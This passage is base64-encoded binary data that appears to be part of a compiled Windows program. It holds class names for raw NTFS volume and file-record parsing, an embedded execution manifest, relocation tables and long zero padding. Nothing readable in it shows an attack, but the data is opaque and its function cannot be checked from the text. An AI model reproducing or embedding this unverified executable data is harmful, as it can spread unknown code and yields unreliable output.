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3O9E74DvtO/k7CTwYPB88MDw+PEk8UTxePGg8jjy/PMw81Tz5PCY9bj1/Pac92j30PRA+lD4HP38/sT/AP94/ANAAAHwAAAA4MPswJDEtMYAxiTFgMmwylzJUM10zTzRYNEQ1jjWXNb81EjYmNm02szbvNgw3KzflN+83BzgiOGU4cDhOOWo53DpBO007xTvfO+g71Tz7PAY9KD17Pbc+2D7fPgY/Ez8YPyY/VD9wP5c/uD/EP+s/+z8AAADgAACIAAAAFDA2MD0wiTCaMN4w6jCCMbgxADIPMi4ybjKZMrYy1jLrMvUywDM1NEY0WjRgNGU0pzTWNOw0CDWDNcA1yjXmNTo2QDZiNoI2yjYaN0o3eje1N+U3FTg6OFw4njjKOPo4ETk4OdA5/Tk1Omo6gTqROqE6sjq2OsI6xjrSOtY6AAAA8AAArAEAABQxGDEcMSgxLDEwMTQxQDFEMUgxnDGkMawxtDG8McQxzDHUMdwx5DHsMfQx/DEEMgwyFDIcMiQyLDI0MjwyRDJMMlQyXDJkMmwydDJ8MoQyjDKUMpwypDKsMrQyvDLEMswy1DLcMuQy7DL0MvwyBDMMMxQzHDMkMywzNDM8M0QzTDNUM1wzZDNsM3QzfDOEM4wzlDOcM6QzrDO0M7wzxDPMM9Qz3DPkM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NIQ0jDSUNJw0pDSsNLQ0vDTENMw01DTcNOQ07DT0NPw0BDUMNRQ1HDUkNSw1NDU8NUQ1TDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNvA+9D74Pvw+AD8EPwg/DD8QPxQ/GD8cPyA/JD8oPyw/MD80Pzg/PD9AP0Q/SD9MP1A/VD9YP1w/YD9kP2g/fD+AP4Q/iD+MP5A/lD+YP5w/oD+kP6g/rD/UP9g/3D8AAAAAAQBAAAAArDi0OLw4xDjMONQ43DjkOOw49Dj8OAQ5DDkUORw5JDksOTQ5PDlEOUw5VDlcOXw6gDqEOog6AAAAEAEAXAMAADgyPDJAMkQy3DLkMuwy9DL8MgQzDDMUMxwzJDMsMzQzPDNEM0wzVDNcM2QzbDN0M3wzhDOMM5QznDOkM6wztDO8M8QzzDPUM9wz5DPsM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NIQ0jDSUNJw0pDSsNLQ0vDTENMw01DTcNOQ07DT0NPw0BDUMNRQ1HDUkNSw1NDU8NUQ1TDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNmQ2bDZ0Nnw2hDaMNpQ2nDakNqw2tDa8NsQ2zDbUNtw25DbsNvQ2/DYENww3FDccNyQ3LDc0Nzw3RDdMN1Q3XDdkN2w3dDd8N4Q3jDeUN5w3pDesN7Q3vDfEN8w31DfcN+Q37Df0N/w3BDgMOBQ4HDgkOCw4NDg8OEQ4TDhUOFw4ZDhsOHQ4fDiEOIw4lDicOKQ4rDi0OLw4xDjMONQ43DjkOOw49Dj8OAQ5DDkUORw5JDksOTQ5PDlEOUw5VDlcOWQ5bDl0OXw5hDmMOZQ5nDmkOaw5tDm8OcQ5zDnUOdw55DnsOfQ5+DkAOgg6EDoYOiA6KDowOjg6QDpIOlA6WDpgOmg6cDp4OoA6iDqQOpg6oDqoOrA6uDrAOsg60DrYOuA66DrwOvg6ADsIOxA7GDsgOyg7MDs4O0A7SDtQO1g7YDtoO3A7eDuAO4g7kDuYO6A7qDuwO7g7wDvIO9A72DvgO+g78Dv4OwA8CDwQPBg8IDwoPDA8ODxAPEg8UDxYPGA8aDxwPHg8gDyIPJA8mDygPKg8sDy4PMA8yDzQPNg84DzoPPA8+DwAPQg9ED0YPSA9KD0wPTg9QD1IPVA9WD1gPWg9cD14PYA9iD2QPZg9oD2oPbA9uD3APcg90D3YPeA96D3wPfg9AD4IPhA+GD4gPig+MD44PkA+SD5QPlg+YD5oPnA+eD6APog+kD6YPqA+qD6wPrg+wD7IPtA+2D7gPug+8D74PgA/CD8QPxg/ID8oPzA/OD9AP0g/UD9YP2A/aD9wP3g/gD+IP5A/mD+gP6g/sD+4P8A/yD/QP9g/4D/oP/A/+D8AAAAgAQBQAAAAADAIMBAwGDAgMCgwMDA4MEAwSDBQMFgwYDBoMHAweDCAMIgwkDCYMKAwqDCwMLgwwDDIMNAw2DDgMOgw8DD4MAAxCDEQMQAAADABAMwAAABQM1QzWDNcM2AzZDNoM2wzcDN0M3gzfDOAM4QziDOMM5AzlDOYM5wzoDOkM6gzrDOwM7QzuDO8M8AzxDPIM8wz0DPUM9gz3DPgM+Qz6DPsM/Az9DP4M/wzADQENAg0DDQQNBQ0GDQcNCA0JDQoNCw0MDQ0NDg0PDRANEQ0SDRMNFA0VDRYNFw0YDRkNGg0bDRwNHQ0eDR8NIA0hDSINIw0kDSUNJg0nDSgNKQ0qDSsNLA0tDS4NLw0wDTENMg0zDTQNNQ0AEABALQCAACEM4gzjDOQM5QzmDOcM6AzpDOoM6wzsDO0M7gzvDPAM8QzyDPMM9Az1DPYM9wz4DPkM+gz7DPwM/Qz+DP8MwA0BDQINAw0EDQUNBg0HDQgNCQ0KDQsNDA0NDQ4NDw0QDRENEg0TDRQNFQ0WDRcNGA0ZDRoNGw0cDR0NHg0fDSANIQ0iDSMNJA0lDSYNJw0oDSkNKg0rDSwNLQ0uDS8NMA0xDTINMw00DTUNNg03DTgNOQ06DTsNPA09DT4NPw0ADUENUQ1SDXENdw17DXwNQQ2CDYYNhw2IDYoNkA2UDZUNmQ2aDZsNnQ2jDacNqA2sDa0Nrg2vDbENtw27DbwNgA3BDcINww3FDcsNzw3QDdQN1Q3XDd0N4Q3iDeYN5w3rDewN7Q3vDfUN+Q36DcAOBA4FDgYOBw4MDg0ODg4UDhUOGw4fDiAOJA4lDiYOKA4uDjIONg43DjgOOQ4+Dj8OAA5BDkMORA5FDkcOSA5JDksOTA5NDk8OUA5RDlMOVA5VDlcOWA5ZDlsOXQ5eDl8OYQ5iDmMOZA5mDmcOaQ5qDmsObQ5uDm8OcQ5yDnMOdA52DncOeA56DnsOfQ5+DkAOgg6EDoYOiA6KDosOjQ6PDpEOlw6YDp4Onw6lDqYOrA6tDrMOtA66DrsOgQ7CDsgOyQ7PDtAO1g7XDt0O3g7kDuUO6w7sDvIO8w75DvoOwA8BDwcPCA8ODw8PFQ8WDxwPHQ8jDyQPKg8rDzEPMg84DzkPPw8AD0YPSg9OD1IPVg9aD14PYg9mD2oPbg9yD3YPeg9+D0IPhg+KD44Pkg+WD5oPng+iD6YPqg+rD68PsA+0D7UPuQ+6D74Pvw+DD8QPyA/JD80Pzg/SD9MP1w/YD9wP3Q/hD+IP5g/nD+sP7A/wD/EP9Q/2D/oP+w//D8AUAEAQAEAAAAwEDAUMCQwKDA4MDwwTDBQMGAwZDB0MHgwiDCMMJwwoDAkMSwxNDE4MUAxVDFcMXAxeDGMMZQxnDGkMagxrDG0Mcgx0DHYMeAx5DHoMfAxBDIgMkAyYDJ8MoAyoDK8MsAy4DIAMyAzQDNgM4AzjDOoM7QzzDPQM+wz8DMQNDA0UDRYNFw0eDSANIQ0nDSgNLw0wDTQNPQ0ADUINTQ1ODVANUg1UDVUNVw1cDWQNaw1sDXQNfA1EDYwNjw2WDZ4Npg2uDbYNuQ27DYwN0Q3VDdkN3A3kDecN7w3yDfoN/Q3FDggOEA4SDhQOFw4fDiEOIw4mDi4OMA4yDjUOPQ4ADkkOSw5NDk8OUQ5TDlUOVw5ZDlsOXg5mDmkOcQ50DnwOfg5BDokOiw6ODpYOmQ6hDqMOpg6uDrAOgBwAQA4AQAAADAcMDgwWDB4MKAw4DAINgw2EDYUNhg2HDYgNiQ2KDYsNjA2NDY4Njw2QDZENkg2TDZQNlQ2WDZcNmA2ZDZoNmw2cDZ0Nng2fDaANoQ2iDaMNpA2lDaYNpw2oDakNqg2rDawNrw2wDbENsg2zDbQNtQ22DbcNuA25DboNuw28Db0Nvg2/DYANwQ3CDcMNxA3FDcYNxw3IDckNyg3LDcwNzQ3ODc8N0A3RDdIN0w3UDdUN1g3XDdgN2Q3aDdsN5Q3pDe0N8Q31Df0NwA4BDgIOAw4NDg4ODw48DkwOzQ7ODs8O0A7RDtIO0w7UDtUO2A7aDtsO3A7dDt4O3w7gDuEO4g7jDuYO5w7oDukO6g7rDuwO7Q7wDvEO8g70DtwPpw+yD7sPhg/SD98P6g/2D8AAACAAQA0AAAACDA8MGQwhDCkMMAw3DD4MBgxNDFUMXAxmDHEMegxBDIgMjgyVDJsMnAydDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA